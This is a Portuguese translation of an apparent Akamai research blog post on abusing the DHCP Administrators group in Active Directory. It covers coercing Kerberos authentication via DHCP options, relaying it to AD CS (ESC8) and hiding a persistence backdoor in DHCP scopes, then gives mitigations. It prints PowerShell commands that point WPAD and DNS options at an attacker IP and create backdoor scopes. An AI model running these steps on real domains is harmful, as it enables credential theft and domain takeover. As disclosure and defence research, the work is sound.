Violação do grupo de administradores de DHCP para escalar privilégios em domínios do Windows
Comentários editoriais e adicionais por Tricia Howard
Resumo executivo
Pesquisadores da Akamai descobriram uma nova técnica de escalonamento de privilégios que afeta ambientes do Active Directory (AD) através do grupo de administradores de DHCP.
Nos casos em que a função de servidor DHCP está instalada em um DC (Domain Controller, controlador de domínio), isso pode permitir que obtenham privilégios de administrador de domínio.
A técnica baseia-se no abuso de recursos legítimos e não depende de nenhuma vulnerabilidade. Portanto, não existe uma correção para ela.
Além de fornecer uma primitiva de escalonamento de privilégios, a mesma técnica também poderia ser usada para criar um mecanismo de persistência de domínio furtivo.
O servidor DHCP da Microsoft é muito popular. Foi observado que ele está sendo executado em 40% das redes monitoradas pela Akamai. Qualquer ambiente que execute esse servidor pode estar vulnerável.
Fornecemos etapas detalhadas que podem reduzir drasticamente o risco dessa técnica, identificar a potencial exploração dela, bem como uma maneira de identificar a configuração que a habilita.
Introdução
Do Google Docs ao Active Directory, o gerenciamento de acesso afeta praticamente todas as funções de uma organização. Minimizar as frustrações dos funcionários sem adicionar riscos desnecessários é um equilíbrio delicado ao discutir permissões e controle de acesso, e as equipes de segurança estão dolorosamente cientes disso.
Dessa forma, o ponto ideal de "acesso suficiente" é um elemento essencial de qualquer estratégia de acesso. Resume-se a isso: Todos os usuários devem receber um conjunto de privilégios necessários para executar suas tarefas, mas eles devem ser o mais limitados possível em qualquer outro aspecto. Isso pode reduzir o impacto de um comprometimento de qualquer usuário, evitando movimentos laterais e exploração adicional.
Embora isso eliminasse a maioria dos riscos, o gerenciamento de acesso por identidade não é realista ou viável, especialmente no nível corporativo. Em vez disso, os grupos de acesso de usuários fornecem permissões generalizadas com base na função do trabalho, um conceito mais comumente visto no AD. Por exemplo, a Microsoft fornece o grupo "Administradores de DNS", que é um grupo do AD encarregado de gerenciar servidores de DNS. Seguindo o princípio de "acesso suficiente", seus membros não têm permissões sobre a máquina que hospeda o servidor de DNS, mas apenas para a configuração relacionada ao serviço de DNS.
Embora tudo funcione em teoria, na prática a história é diferente. Uma pesquisa de Shay Ber, em 2017, demonstrou como os membros do grupo "Administradores de DNS" poderiam abusar de um dos privilégios do grupo para executar código em servidores de DNS, o que quase sempre resultaria em um aumento de privilégios para os administradores de domínio.
O Microsoft DHCP fornece um grupo de segurança semelhante chamado "administradores de DHCP". Ao trabalhar em nossa recente da Akamai no Microsoft DHCP, a questão de encontrar um primitivo semelhante usando esse grupo veio à mente: Um administrador de DHCP pode se tornar um administrador de domínio? Bem, parece que sim, às vezes pode.
Nesta publicação do blog, abordaremos o grupo de administradores de DHCP e mostraremos como um de seus privilégios pode ser usado para comprometer servidores de DHCP, incluindo uma aquisição de domínio completo nos casos em que o servidor de DHCP está instalado em um DC.
Também mostraremos como essa mesma técnica pode ser usada para estabelecer um interessante mecanismo de persistência de domínio e fornecer os detalhes para implementar umaporta posterior do DHCP."
Como essa técnica usa privilégios e opções legítimos que estão disponíveis para administradores de DHCP, não há uma solução simples como um patch, pois não há vulnerabilidade. Para ajudar a reduzir o risco com essa técnica, incluímos etapas detalhadas de atenuação e detecção nesta publicação do blog.
O que são administradores de DHCP?
A administradores de DHCP formam um grupo de usuários do AD destinado a gerenciar servidores de DHCP (Dynamic Host Configuration Protocol). O grupo permite que seus membros consultem e modifiquem a configuração do serviço de DHCP em servidores remotos.
Importante, seus membros não têm permissões sobre a própria máquina do servidor de DHCP, mas apenas para a configuração do serviço de DHCP. Isso significa que um administrador de DHCP não deve ser capaz de executar código em um servidor de DHCP, mas apenas modificar configurações relacionadas ao DHCP. Uma das configurações controladas por administradores de DHCP são as opções de DHCP.
Violação das opções de DHCP
Os clientes de rede exigem um conjunto de configurações para participar de uma rede, incluindo um endereço IP e uma máscara de sub-rede, um endereço de gateway padrão e um servidor de DNS, apenas para citar alguns. Os servidores de DHCP anunciam essas configurações para seus clientes na forma de opções de DHCP, que são diferentes configurações associadas a um ID de opção definido e consultadas pelos clientes (Figura 1).
Fig. 1: Examples of DHCP options configured on a DHCP server
Os clientes de DHCP solicitam suas opções necessárias e modificam sua configuração de rede de acordo com as respostas. Com a capacidade de controlar os valores dessas opções no servidor, cada opção solicitada por um cliente pode ser violada por um invasor para injetar configurações mal-intencionadas.
Para entender a possível superfície de ataque em clientes Windows, podemos examinar as opções solicitadas por padrão (Figura 2).
Fig. 2: DHCP options configured on a DHCP server
Autodescoberta de proxy
Podemos ver que uma das configurações solicitadas é a opção "Autodescoberta de proxy" (destacada em azul na Figura 2), que é usada para configurar automaticamente um proxy da Web (WPAD(Payment Card Industry Data Security Standard, Padrão de Segurança de Dados da Indústria de Cartões de Pagamento). Esta opção permite que um servidor de DHCP especifique o URL de um arquivo "wpad.dat", que contém as configurações de proxy a serem usadas pelo cliente.
Podemos configurar essa opção e especificar nosso endereço como o proxy executando os seguintes comandos do PowerShell:
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
Depois de definir essa opção, vemos que os clientes Windows recebem nossa configuração ao alugar um endereço do servidor de DHCP (Figura 3).
Fig. 3: DHCP client receiving proxy configuration from the server
Depois de receber essa configuração, o cliente de DHCP se conectará à nossa máquina via HTTP e tentará buscar o arquivo "wpad.dat(Figura 4).
Fig. 4: DHCP client requesting a “wpad.dat” file from the attacker’s machine
A capacidade de representar um servidor de WPAD abre a oportunidade para vários ataques que podem permitir o comprometimento das credenciais do cliente.
Existem outras opções de DHCP que podemos visar para alcançar um resultado semelhante. Essa capacidade é certamente projetada e não é realmente um problema de segurança. Os administradores de DHCP podem, bem... administrar o DHCP. O impacto dessa capacidade, no entanto, pode ser mais amplo do que o esperado.
Opção de Servidor de DNS via DHCP
Ao analisar as diferentes opções de DHCP que poderiam ser violadas, outra chamou nossa atenção: a opção de Servidor de DNS solicitado. De maneira semelhante ao ataque anterior, um administrador de DHCP pode falsificar o endereço do servidor de DNS e falsificar respostas do DNS para obter uma posição machine-in-the-middle (MITM). Mas, ao que parece, essa opção vai além.
Normalmente, as opções de DHCP são usadas para fornecer dados aos clientes solicitantes. Curiosamente, a opção de Servidor de DNS atende a outra finalidade: Seu valor será usado como o destino de Atualizações dinâmicas de DNS via DHCP (Figura 5).
Fig. 5: DNS Server option effect on the DHCP DNS dynamic update process
Por que isso é interessante? O servidor de DNS da Microsoft e os clientes DNS do Windows oferecem suporte a um recurso de atualizações dinâmicas chamado Atualizações Dinâmicas Seguras. Com esse recurso ativado (e é, por padrão), os clientes de DNS precisam se autenticar antes de executar atualizações de DNS no servidor. Essa autenticação é realizada usando Kerberos via DNS.
Com uma conta de administrador de DHCP, podemos controlar a opção Servidor de DNS no servidor de DHCP e fazer com que ele se autentique em um endereço de nossa escolha. As etapas na Figura 6 mostram como isso é alcançado.
Fig. 6: DHCP lease causing the server to authenticate to the client via Kerberos
No servidor de DHCP de destino, configuramos nosso endereço IP (172.25.14.19) como a opção Servidor de DNS.
Em nossa máquina, alugamos um endereço IP enquanto especificamos a opção FQDN. Neste exemplo, especificamos o FQDN "aaa.aka.test". Isso aciona uma Atualização Dinâmica de DNS via DHCP.
O servidor de DHCP envia uma consulta "Início de autoridade" (SOA) via DNS para a nossa máquina (pensando que é o servidor de DNS). Essa consulta é usada pelo servidor de DHCP para verificar qual servidor de DNS é autoritativo via "aaa.aka.test".
Respondemos à consulta SOA, especificando a nossa máquina como o servidor de DNS autoritativo para o registro "aaa.aka.test".
O servidor de DHCP tenta criar o registro enviando uma Atualização dinâmica de DNS para a nossa máquina. Essa tentativa de atualização não é autenticada.
Recusamos a atualização não autenticada para acionar uma tentativa de autenticação pelo servidor.
O servidor de DHCP autentica na nossa máquina usando a autenticação Kerberos via DNS, implementada pelo envio de uma consulta TKEY.
A Figura 7 mostra um exemplo de captura dessa técnica em ação.
Fig. 7: Packet capture of the DHCP lease and subsequent DNS traffic
Essa técnica, que chamamos de Coerção de DHCP, nos concede uma fonte de coerção de autenticação Kerberos primitiva, pois podemos fazer qualquer servidor de DHCP se autenticar em nossa máquina.
Dúvidas sobre a segurança do DHCP?
Coerção de DHCP para retransmissão Kerberos
A coerção de DHCP abre uma oportunidade para um ataque de retransmissão Kerberos : podemos introduzir a coerção de autenticação em nossa máquina e, em seguida, executar um ataque de retransmissão, permitindo que personifiquemos a conta da máquina do servidor de DHCP. Isso permitiria o controle total sobre o próprio servidor em vez das permissões mais limitadas incluídas no grupo de administradores DHCP.
Os alvos de retransmissão Kerberos são um pouco limitados, mas ainda temos uma boa opção, como descrito em uma publicação do blog por Dirk Jan, a retransmissão Kerberos pode ser usada para os Serviços de Certificados do Active Directory (AD CS) de destino.
AD CS são um conjunto de serviços que fornecem uma solução PKI para ambientes do Active Directory. No contexto do AD, o principal uso dessa PKI é habilitar a autenticação baseada em certificado. Com o AD CS, os usuários podem emitir certificados para si mesmos e usá-los para autenticar os recursos no domínio.
Uma das maneiras pelas quais esses certificados são emitidos é o Serviço Web de registro, um serviço da Web que pode ser usado por clientes para solicitar certificados. Por padrão, esse serviço é vulnerável a ataques de retransmissão Kerberos, pois não verifica a integridade da mensagem. Esse problema é descrito como ESC8 na pesquisa do AD CS realizado por Will Schroeder e Lee Christensen da SpecterOps.
Ao combinar nossa primitiva de coerção com ESC8, podemos criar uma cadeia de ataque (Figura 8) que nos permitirá comprometer o servidor de DHCP.
Fig. 8: DHCP Coerce full attack chain
Use um Administrador de DHCP para introduzir a coerção de autenticação Kerberos em nossa máquina, conforme descrito na seção anterior.
Use Krbrelayx.py para retransmitir a autenticação para AD CS e obter um certificado para a conta da máquina do servidor de DHCP.
Use o certificado para obter o hash NTLM da conta da máquina do servidor de DHCP, uma técnica descrita na pesquisa da SpecterOps como THEFT5.
Use o hash NTLM para autenticar como a conta da máquina do servidor de DHCP e executar o código.
Para mais detalhes sobre as etapas 2 a 4, consulte a publicação do blog sobre retransmissão Kerberos via DNS usando krbrelayx e mitm6 de Dirk Jan.
Para resumir, se o AD CS for usado no ambiente, uma conta de administrador de DHCP poderá executar código em qualquer servidor de DHCP. Parece ser um problema.
Os servidores de DHCP são muito frequentemente instalados em DCs. Entre as redes que observamos usando o servidor DHCP da Microsoft, 57% têm um servidor de DHCP instalado em um DC. Nesses casos, um administrador de DHCP pode comprometer todo o domínio ao assumir a conta da máquina DC.
Uma observação sobre a credencial de DNS
O ataque que acabamos de descrever depende do servidor de DHCP que faz a autenticação com sua própria conta de máquina ao executar atualizações de DNS. Uma das práticas recomendadas pela Microsoft é configurar um usuário fraco como a Credencial de DNS para o servidor de DHCP – uma credencial alternativa a ser usada em vez da conta da máquina ao executar atualizações.
Essa configuração pode anular nosso ataque de retransmissão. Em vez de comprometer a conta da máquina do servidor, obteremos as permissões de um usuário fraco.
Felizmente para nós, somos administradores de DHCP! Um administrador de DHCP pode remover uma credencial de DNS existente sem qualquer conhecimento da própria credencial. Os Remove-DhcpServerDnsCredential pode ser usado para fazer isso. Depois de remover a credencial de DNS, o servidor de DHCP reverte para o padrão e usa sua conta de máquina para executar atualizações.
Persistência do domínio DHCP
Além de violar o grupo de administradores de DHCP para executar código em servidores de DHCP, a técnica que acabamos de descrever pode ser usada para criar um interessante mecanismo de persistência de domínio.
Depois que a opção Servidor de DNS é configurada, nenhuma credencial é necessária para introduzir a coerção de autenticação, dessa forma, um invasor só precisa alugar um endereço IP do servidor de DHCP. Isso pode permitir que um invasor execute um ataque de coerção de DHCP de fora do domínio sem credenciais.
Escopo da porta posterior do DHCP
Um escopo de DHCP é um conjunto definido de endereços IP em uma sub-rede específica que o DHCP pode conceder. As opções de DHCP podem ser configuradas por escopo, permitindo diferentes configurações para várias sub-redes.
Para executar uma coerção de DHCP, precisamos alterar a opção Servidor de DNS em um dos escopos de DHCP. Obviamente, não queremos usar um escopo existente para isso. Se modificarmos a opção de servidor de DNS de um escopo existente, essa configuração seria transmitida para clientes de DHCP, causando problemas de comunicação e potencialmente levando à detecção de nossa porta posterior.
Em vez disso, queremos criar um escopo dedicado, com um intervalo de endereços que não é usado em nenhuma sub-rede da rede (Figura 9).
Fig. 9: Creating a “backdoor” DHCP scope
Mas há um problema com essa abordagem, enraizada na lógica de seleção do escopo do servidor de DHCP. Quando um cliente aluga um endereço IP, o servidor determina o escopo do DHCP a ser usado com base na sub-rede de origem do cliente. Essa sub-rede é identificada pela interface de rede que recebeu a mensagem de Descoberta de DHCP (Figura 10).
Fig. 10: DHCP scope-selection based on network interface
Para acionar a porta posterior, precisamos alugar um endereço IP de nosso escopo mal-intencionado. Para isso, devemos estar presentes em uma sub-rede vinculada a esse escopo. Ao mesmo tempo, queremos que nosso escopo não seja vinculado a uma sub-rede existente na rede, para evitar a quebra da conectividade do cliente. Esses dois requisitos, no entanto, são contraditórios – se um escopo não estiver vinculado a uma sub-rede existente, não podemos alcançá-lo. Se estiver, outros clientes também podem acessá-lo. Felizmente, o agente de retransmissão de DHCP pode ajudar.
Agente de retransmissão de DHCP
Uma solução para esse problema vem com o recurso do agente de retransmissão de DHCP. Um agente de retransmissão de DHCP é um servidor que permite que os clientes aluguem endereços IP de um servidor de DHCP, mesmo que não haja um na rede local (Figura 11).
Fig. 11: DHCP lease process with a relay agent
O agente de retransmissão escuta as mensagens de difusão de DHCP dos clientes e as transmite para o servidor de DHCP em nome dos clientes. O agente de retransmissão de DHCP informa o servidor de DHCP da sub-rede de origem do cliente por meio da opção de DHCP Informações do agente de retransmissão , permitindo que o servidor determine o escopo correto a ser usado ao alugar um endereço IP.
Percebemos que esse recurso permite que um agente de retransmissão de DHCP solicite um endereço IP de qualquer escopo, independentemente da interface no servidor de DHCP. Um invasor pode agir como um agente de retransmissão e indicar qualquer sub-rede na opção informações do agente de retransmissão, permitindo que ele alugue de um endereço IP a partir de qualquer escopo (Figura 12).
Fig. 12: Leasing an IP address from a specified scope by acting as a DHCP relay agent
Há uma advertência final a considerar: O endereço IP do próprio servidor de retransmissão precisa fazer parte de um escopo existente no servidor. Isso se destina a impedir que clientes não autorizados acessem o servidor. Para superar isso, podemos seguir a recomendação da Microsoft e criar um escopo dedicado que incluirá nosso endereço IP externo, "autorizando" ilegalmente que ele atue como uma retransmissão.
Violação da opção de agente de retransmissão de DHCP
Uma porta posterior em potencial (Figura 13) consistirá em 2 escopos:
Escopo da autorização. Um escopo destinado a autorizar nossa máquina de ataque a agir como um agente de retransmissão de DHCP. Sua faixa de IP incluirá o endereço IP de nossa máquina de ataque externa.
- Escopo de coerção. Um escopo que será usado para alugar um endereço IP, acionando uma tentativa de autenticação Kerberos para nossa máquina de ataque. Sua opção de servidor de DNS seria configurada com nosso IP externo de máquina de ataque, e seu intervalo de IP pode ser qualquer faixa arbitrária que não seja usada na rede.
Fig. 13: DHCP backdoor design
O seguinte código do PowerShell mostra como esses escopos podem ser criados:
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
Para acionar a porta posterior, alugamos um endereço do servidor de DHCP com os seguintes ajustes:
Usamos nosso endereço IP no campo DHCP do endereço IP do agente de retransmissão (giaddr). Este campo é usado para informar o servidor de DHCP do endereço IP do agente de retransmissão. Esse IP deve estar dentro do "escopo de autorização".
Incluímos a opção Informações do agente de retransmissão, com um endereço IP dentro do "escopo de coerção".
Na Figura 14, nosso escopo de autorização inclui o endereço IP 172.25.14.18, e nosso escopo de coerção inclui o endereço 66.66.66.66.
Fig. 14: DHCP Discover adjustments when acting as a relay agent
Adicionamos suporte de agente de retransmissão ao DDSpoof, nossa kit de ferramenta de falsificação de DNS via DHCP, e criamos um script de prova de conceito chamado dhcp_coerce.py que permite o desempenho desse ataque. O script atua como um agente de retransmissão de DHCP e solicita um endereço IP de nosso escopo solicitado, permitindo que acionemos a coerção de autenticação por meio de nosso escopo de coerção (Figura 15).
Fig. 15: Using DDSpoof to trigger the DHCP backdoor
Mitigações
As medidas defensivas contra essa ameaça incluem:
Identificar a configuração de DHCP arriscada
Atenuar ataques de retransmissão contra AD CS
Praticar a higiene do grupo de administradores de DHCP
Usar segmentação para reduzir a superfície de ataque
Identificar anomalias de DNS
Identificar a configuração de DHCP arriscada
Invoke-DHCPCheckup.ps1 pode ajudá-lo a identificar configurações de DHCP arriscadas. O risco mais grave no contexto da cadeia de ataque de coerção de DHCP é a instalação de um servidor de DHCP em um DC, uma configuração que recomendamos evitar.
Execute o Invoke-DHCPCheckup para listar todos os servidores Microsoft DHCP ativos e identificar todos os que estão instalados nos DCs (Figura 16). Se possível, desative o serviço do servidor de DHCP em todos os DCs.
Fig. 16: Identifying a DHCP server installed on a DC using Invoke-DHCPCheckup
Atenuar ataques de retransmissão contra AD CS
A maneira mais eficaz de evitar essa cadeia de ataques é atenuar ataques de retransmissão contra servidores AD CS, o que frustraria a capacidade de violação da primitiva de coerção de autenticação.
O risco de ataques de retransmissão e a variação contra AD CS não são novidade para a Microsoft. A Proteção Estendida para Autenticação (EPA) é um recurso introduzido para impedir tais ataques, mas não é ativado por padrão para AD CS. Para reduzir o risco de ataques de retransmissão ao AD CS, desative o HTTP e ative o recurso EPA em todos os servidores AD CS.
Praticar a higiene do grupo de administradores de DHCP
Os membros do grupo de administradores de DHCP podem comprometer potencialmente clientes e servidores de DHCP, de modo que esse grupo deve ser tratado como um ativo de alto valor e monitorado de acordo. Limite a participação do grupo de administradores de DHCP o máximo possível para reduzir o risco de comprometimento de um usuário administrador. Considere usar o grupo de usuários DHCP mais limitado nos casos aplicáveis.
Usar segmentação para reduzir a superfície de ataque
Além das medidas defensivas anteriores, a segmentação de rede poderia ser usada para atenuar o ataque e reduzir a superfície de ataque, potencialmente evitando ataques semelhantes em potencial.
Ao usar o Akamai Guardicore Segmentation, é possível:
Bloquear o tráfego RPC para servidores de DHCP a partir de pontos de extremidade não administradores, impedindo a capacidade de modificar as opções de DHCP: Crie um rótulo que contenha os pontos de extremidade usados pelos administradores de DHCP e, em seguida, permita que apenas esse rótulo se comunique com servidores de DHCP por portas não DHCP.
Bloquear o acesso a servidores de inscrição do AD CS para pontos de extremidade que não o exigem, o que reduz a capacidade de executar ataques de retransmissão: Crie um rótulo que contenha pontos de extremidade que exijam a emissão de certificados usando AD CS e, em seguida, permita que apenas esse rótulo se comunique com os servidores de registro na Web.
Bloquear o tráfego de DHCP para e da Internet, evitando a capacidade das máquinas externas de coagir a autenticação do DHCP: Crie um rótulo para todos os servidores de DHCP e, em seguida, bloqueie todas as comunicações com endereços da Internet.
Identificar anomalias de DNS
O ataque depende de forçar o servidor de DHCP a enviar uma solicitação de atualização de DNS para um endereço diferente do servidor de DNS do AD padrão. Esse tipo de tráfego geralmente é estático por natureza, portanto, esse comportamento é altamente anômalo. Esse comportamento de tráfego irregular pode servir como uma oportunidade de detecção para esse ataque ou qualquer outro ataque que viole a autenticação Kerberos via DNS.
Para identificar essas anomalias, crie uma lista de servidores de DNS legítimos que devem estar recebendo atualizações de DNS, consultando o AD ou monitorando o tráfego de DNS. Essa lista deve ser bastante limitada e deve ser usada como linha de base para tráfego legítimo. Qualquer desvio dessa lista deve ser investigado, especialmente se envolver endereços da Internet.
O Akamai Hunt, serviço gerenciado de busca de ameaças da Akamai, oferece aos seus clientes proteção na forma de um grande conjunto de técnicas de detecção de anomalias que monitoram constantemente o ambiente em uma tentativa de detectar o desconhecido.
Conclusão
O escalonamento mal-intencionado de privilégio pode ser desastroso, especialmente quando faz uso de processos legítimos. Lidar com controles de segurança sólidos com o mínimo de inconveniência para o usuário apresenta um grande incômodo para o profissional de segurança moderno. Com a introdução da Internet das coisas, uma força de trabalho móvel distribuída e o ataque constante da exploração de vulnerabilidades nova e antiga, nunca houve um momento mais crítico para lidar com sua estratégia de acesso.
O grupo de administradores de DHCP é um exemplo notável desse conceito. Ele fornece a seus membros um conjunto robusto de permissões, mas essas permissões também podem ser violadas por invasores. Especialmente em segurança, até mesmo os recursos mais bem-intencionados podem ser violados.
Os defensores devem estar cientes desse risco potencial e tratar esse grupo com o devido cuidado. Esperamos que esta publicação tenha fornecido medidas de contexto e de proteção contra essa ameaça.
Saiba mais
Para obter informações adicionais sobre os riscos relacionados ao DHCP da Microsoft, consulte nossas outras publicações do blog sobre o assunto:
Falsificação de registros de DNS através de violações de atualizações dinâmicas de DNS via DHCP
DNS via DHCP como arma – Um Guia prático
O Akamai Security Intelligence Group continuará monitorando esta ameaça e outras semelhantes e publicará nossas descobertas. Para acompanhar as atualizações de DHCP e outras pesquisas de segurança, você pode siga-nos no X (ex-Twitter).
